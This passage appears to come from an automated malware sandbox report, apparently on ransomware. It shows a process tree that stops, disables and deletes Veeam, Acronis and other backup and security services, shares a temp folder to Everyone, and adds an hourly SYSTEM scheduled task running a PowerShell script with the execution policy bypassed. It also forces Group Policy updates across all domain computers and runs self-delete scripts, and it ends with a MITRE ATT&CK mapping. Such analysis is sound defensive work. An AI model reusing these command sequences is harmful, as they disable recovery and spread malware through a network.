    PID:2972
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete VeeamNFSSvc
    3⤵
    PID:2084
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop VeeamNFSSvc
    3⤵
    PID:2624
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop VeeamNFSSvc
      4⤵
      PID:3364
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config VeeamNFSSvc start=disabled
    3⤵
    - Launches sc.exe
    PID:3252
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete VeeamNFSSvc
    3⤵
    - Launches sc.exe
    PID:1320
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop VeeamDeploymentService
    3⤵
    PID:2340
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop VeeamDeploymentService
      4⤵
      PID:2136
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config VeeamDeploymentService start=disabled
    3⤵
    PID:4536
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete VeeamDeploymentService
    3⤵
    PID:5164
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop VeeamDeploymentService
    3⤵
    PID:4868
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop VeeamDeploymentService
      4⤵
      PID:1756
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config VeeamDeploymentService start=disabled
    3⤵
    PID:4288
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete VeeamDeploymentService
    3⤵
    PID:320
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop VeeamDeploymentService
    3⤵
    PID:3532
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop VeeamDeploymentService
      4⤵
      PID:3412
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config VeeamDeploymentService start=disabled
    3⤵
    PID:3960
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete VeeamDeploymentService
    3⤵
    PID:1500
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop VeeamTransportSvc
    3⤵
    PID:4896
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop VeeamTransportSvc
      4⤵
      PID:3488
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config VeeamTransportSvc start=disabled
    3⤵
    - Launches sc.exe
    PID:4672
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete VeeamTransportSvc
    3⤵
    PID:4204
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop VeeamTransportSvc
    3⤵
    PID:1896
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop VeeamTransportSvc
      4⤵
      PID:4188
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config VeeamTransportSvc start=disabled
    3⤵
    PID:5512
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete VeeamTransportSvc
    3⤵
    PID:1328
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop VeeamTransportSvc
    3⤵
    PID:296
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop VeeamTransportSvc
      4⤵
      PID:4356
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config VeeamTransportSvc start=disabled
    3⤵
    - Launches sc.exe
    PID:5076
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete VeeamTransportSvc
    3⤵
    PID:1392
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop MVArmor
    3⤵
    PID:4916
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop MVArmor
      4⤵
      PID:2528
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config MVArmor start=disabled
    3⤵
    PID:2864
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete MVArmor
    3⤵
    PID:4260
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop MVArmor
    3⤵
    PID:2764
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop MVArmor
      4⤵
      PID:4956
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config MVArmor start=disabled
    3⤵
    PID:4760
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete MVArmor
    3⤵
    PID:4588
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop MVArmor
    3⤵
    PID:3196
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop MVArmor
      4⤵
      PID:4552
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config MVArmor start=disabled
    3⤵
    - Launches sc.exe
    PID:1380
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete MVArmor
    3⤵
    PID:5984
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop MVarmor64
    3⤵
    PID:5740
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop MVarmor64
      4⤵
      PID:6128
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config MVarmor64 start=disabled
    3⤵
    PID:4572
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete MVarmor64
    3⤵
    PID:968
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop MVarmor64
    3⤵
    PID:3256
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop MVarmor64
      4⤵
      PID:4804
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config MVarmor64 start=disabled
    3⤵
    PID:4100
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete MVarmor64
    3⤵
    PID:5056
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop MVarmor64
    3⤵
    PID:5764
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop MVarmor64
      4⤵
      PID:1300
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config MVarmor64 start=disabled
    3⤵
    - Launches sc.exe
    PID:712
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete MVarmor64
    3⤵
    PID:5088
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop VSNAPVSS
    3⤵
    PID:5300
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop VSNAPVSS
      4⤵
      PID:4396
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config VSNAPVSS start=disabled
    3⤵
    PID:5608
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete VSNAPVSS
    3⤵
    - Launches sc.exe
    PID:1172
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop VSNAPVSS
    3⤵
    PID:2408
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop VSNAPVSS
      4⤵
      PID:1016
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config VSNAPVSS start=disabled
    3⤵
    PID:2812
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete VSNAPVSS
    3⤵
    PID:424
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop VSNAPVSS
    3⤵
    PID:2440
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop VSNAPVSS
      4⤵
      PID:4768
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config VSNAPVSS start=disabled
    3⤵
    - Launches sc.exe
    PID:3296
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete VSNAPVSS
    3⤵
    PID:4400
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop AcrSch2Svc
    3⤵
    PID:3240
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop AcrSch2Svc
      4⤵
      PID:4676
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config AcrSch2Svc start=disabled
    3⤵
    PID:2380
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete AcrSch2Svc
    3⤵
    PID:200
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop AcrSch2Svc
    3⤵
    PID:2964
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop AcrSch2Svc
      4⤵
      PID:5280
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config AcrSch2Svc start=disabled
    3⤵
    PID:4864
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete AcrSch2Svc
    3⤵
    PID:3776
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop AcrSch2Svc
    3⤵
    PID:3908
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop AcrSch2Svc
      4⤵
      PID:5452
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config AcrSch2Svc start=disabled
    3⤵
    PID:8
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete AcrSch2Svc
    3⤵
    PID:4748
- - C:\Windows\SYSTEM32\net.exe
    "net" share SystemUpdate=C:\Users\Admin\AppData\Local\Temp\SystemUpdate /GRANT:Everyone,READ
    3⤵
    PID:1744
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 share SystemUpdate=C:\Users\Admin\AppData\Local\Temp\SystemUpdate /GRANT:Everyone,READ
      4⤵
      PID:3024
- - C:\Windows\SYSTEM32\net.exe
    "net" view
    3⤵
    - Discovers systems in the same network
    PID:596
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\gpo_q2jpR2.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3316
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks.exe" /create /tn GPOUpdate_KOkp23 /tr "powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\gpo_update_RegVIO.ps1"" /sc hourly /mo 1 /ru SYSTEM /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2600
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" Get-ADComputer -filter * -Searchbase '%s' | Foreach-Object { Invoke- GPUpdate -computer $_.name -force -RandomDelayInMinutes 0}
    3⤵
    PID:5924

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1604

C:\Users\Admin\AppData\Local\svchost.exe
C:\Users\Admin\AppData\Local\svchost.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4656
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\selfdestruct_4QfXA51o.bat"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5832
- - C:\Windows\system32\timeout.exe
    timeout /t 2 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:2244
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\selfdestruct_M4OnAbqK.bat"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5728
- - C:\Windows\system32\timeout.exe
    timeout /t 2 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:4652
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\selfdestruct_yhjZnLce.bat"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4228
- - C:\Windows\system32\timeout.exe
    timeout /t 2 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:4632

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
PID:5336

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2948

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:5344

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:3804

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:2344

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
1⤵
PID:2736

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Network Share Discovery

T1135

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery